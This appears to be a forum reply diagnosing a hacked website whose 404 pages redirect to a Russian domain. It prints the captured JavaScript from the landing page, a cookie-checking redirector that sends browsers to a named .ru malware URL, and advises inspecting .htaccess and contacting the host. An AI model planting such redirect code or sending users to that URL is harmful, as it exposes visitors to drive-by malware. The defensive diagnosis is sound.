Oooh... nasty issue. Some external entity has likely written an entry in your .htaccess file causing the redirect, and any time you get a redirect to a .ru (Russia) URL, it's likely to be a source of malware. Using NoScript to block the execution of the redirect (but enable viewing of the contents), the page it goes to contains <html>
<head>
<script LANGUAGE="JavaScript" type="text/javascript">
function readCookie(name) {
var xname = name + "="
var xlen = xname.length
var clen = document.cookie.length
var i = 0
while(i < clen){
var j = i + xlen
if (document.cookie.substring(i, j) == xname)
return getCookieVal(j)
i = document.cookie.indexOf(" ",1) + 1
if (i == 0) break
}
return null
}
function getCookieVal(n){
var endstr = document.cookie.indexOf(";", n)
if (endstr == -1)
endstr = document.cookie.length
return unescape(document.cookie.substring(n, endstr))
}
function writeCookie(name, value, expires, path, domain, secure) {
document.cookie =
name +"=" + escape(value) +
((expires) ? "; expires=" + expires.toGMTString() : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "")
}
writeCookie('d4c734f0a93e4f8dd06e5b2746','d5317e373e86ae1ab4ce9c22726');
if ( readCookie('d4c734f0a93e4f8dd06e5b2746') == 'd5317e373e86ae1ab4ce9c22726')
document.location.href='http://footerleftonmouseover.ru/main.php?page=b67137fa79c9e463';
else
document.location.href='http://www.bing.com/search?q=404+error&form=MSNH14&qs=n&sk=&qs=AS&sk=&pq=404+error&sp=1&sc=8-9';
</script>
</head>
</html> which appears to be a front-end for a drive-by malware JavaScript downloader which will automatically activate if JavaScript is allowed on that site. Bad news for any unprotected browsers.
Check your .htaccess file now, and if nothing appears in there to redirect 404s to the floatanswer.ru domain, then contact your webhoster and say there's likely a webserver compromise and have them check the master Apache config files.
